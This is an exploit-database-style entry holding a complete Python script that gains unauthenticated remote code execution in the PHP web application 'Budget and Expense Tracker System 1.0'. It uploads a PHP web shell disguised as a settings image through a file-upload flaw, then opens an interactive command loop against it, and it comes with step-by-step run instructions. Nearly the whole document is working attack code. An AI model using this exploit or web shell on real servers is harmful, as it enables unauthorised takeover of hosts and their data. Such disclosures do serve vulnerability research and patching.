Budgets And Expense Tracker System 1.0 Shell Upload

`# Exploit Title: Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Exploit Author: Abdullah Khawaja (hax.3xploit)  
# Date: 2021-09-21  
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip  
# Version: 2.0  
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4  
# Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.  
  
  
  
# RCE via executing exploit:  
# Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py  
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/  
  
  
import requests, sys, urllib, re  
import datetime  
from colorama import Fore, Back, Style  
  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
  
  
  
  
  
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL  
  
print(Style.BRIGHT+" Budget and Expense Tracker System 1.0")  
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)  
print(header)  
  
print(r"""  
______ _______ ________   
___ //_/__ /_______ ___ _______ ______(_)_____ _  
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/  
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /   
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/   
/___/   
abdullahkhawaja.com  
""")  
  
  
  
GREEN = '\033[32m' # Green Text  
RED = '\033[31m' # Red Text  
RESET = '\033[m' # reset to the defaults  
  
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}  
  
  
#Create a new session  
s = requests.Session()   
  
  
#Set Cookie  
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}  
  
LINK=input("Enter URL of The Vulnarable Application : ")  
  
  
def webshell(LINK, session):  
try:  
WEB_SHELL = LINK+'/uploads/'+filename  
getdir = {'cmd': 'echo %CD%'}  
r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)  
status = r2.status_code  
if status != 200:  
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)  
r2.raise_for_status()  
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')  
cwd = re.findall('[CDEF].*', r2.text)  
cwd = cwd[0]+"> "  
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET  
while True:  
thought = input(term)  
command = {'cmd': thought}  
r2 = requests.get(WEB_SHELL, params=command, verify=False)  
status = r2.status_code  
if status != 200:  
r2.raise_for_status()  
response2 = r2.text  
print(response2)  
except:  
print("\r\nExiting.")  
sys.exit(-1)  
  
  
#Creating a PHP Web Shell  
  
phpshell = {  
'img':   
(  
'shell.php',   
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',   
'application/octet-stream',   
{'Content-Disposition': 'form-data'}  
)   
}  
  
# Defining value for form data  
data = {'name':'Budget and Expense Tracker System - PHP', 'short_name':'B&E Tracker'}  
  
  
def id_generator():  
x = datetime.datetime.now()  
date_string = x.strftime("%y-%m-%d %H:%M")  
date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")  
timestamp = datetime.datetime.timestamp(date)  
file = int(timestamp)  
final_name = str(file)+'_shell.php'  
return final_name  
  
filename = id_generator()  
#Uploading Reverse Shell  
print("[*]Uploading PHP Shell For RCE...")  
upload = s.post(LINK+'classes/SystemSettings.php?f=update_settings', cookies=cookies, files=phpshell, data=data, proxies=proxies)  
  
shell_upload = True if("1" in upload.text) else False  
u=shell_upload  
if u:  
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)  
else:  
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)  
  
  
  
#Executing The Webshell  
webshell(LINK, s)  
`